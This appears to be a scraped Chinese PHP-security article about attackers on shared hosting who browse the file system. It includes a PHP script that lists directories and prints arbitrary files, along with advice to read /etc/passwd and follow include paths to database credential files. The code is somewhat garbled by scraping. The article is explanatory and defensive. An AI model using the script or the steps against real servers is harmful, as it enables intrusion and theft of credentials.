成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術文章
文章詳情頁

PHP安全-文件系統瀏覽

瀏覽:98日期:2022-09-11 18:04:01
文件系統瀏覽

除了能在共享服務器上讀取任意文件之外,攻擊者還能建立一個可以瀏覽文件系統的腳本。由于你的大多數敏感文件不會保存在網站主目錄下,此類腳本一般用于找到你的源文件的所在位置。請看下例:

<pre>

<?php

if (isset($_GET[’dir’]))

{

ls($_GET[’dir’]);

}

elseif (isset($_GET[’file’]))

{

cat($_GET[’file’]);

}

else

{

ls(’/’);

}

function cat($file)

{

echo htmlentities(file_get_contents($file), ENT_QUOTES, ’UTF-8’));

}

function ls($dir)

{

$handle = dir($dir);

while ($filename = $handle->read())

{

$size = filesize('$dir$filename');

if (is_dir('$dir$filename'))

{

$type = ’dir’;

$filename .= ’/’;

}

else

{

$type = ’file’;

}

if (is_readable('$dir$filename'))

{

$line = str_pad($size, 15);

$line .= '<a href='http://www.piao2010.com/bcjs/{$_SERVER[’PHP_SELF’]}';

$line .= '?$type=$dir$filename'>$filename</a>';

}

else

{

$line = str_pad($size, 15);

$line .= $filename;

}

echo '$linen';

}

$handle->close();

}

?>

</pre>

攻擊者可能會首先察看/etc/passwd文件或/home目錄以取得該服務器上的用戶名清單;可以通過語言的結構如include或require來發現保存在網站主目錄以外的源文件所在位置。例如,考慮一下下面的腳本文件/home/victim/public_html/admin.php:

<?php

include ’../inc/db.inc’;

/* ... */

?>

如果攻擊者設法顯示了該文件的源碼,就可以發現db.inc的所在位置,同時他可以使用readfile()函數來使其內容暴露,取得了數據庫的訪問權限。這樣,在這個環境中保存db.inc于網站主目錄之外的做法并未起到保護作用。

這一攻擊說明了為什么要把共享服務器上的所有源文件看成是公開的,并要選擇數據庫實現所有敏感數據的保存。

標簽: PHP
相關文章: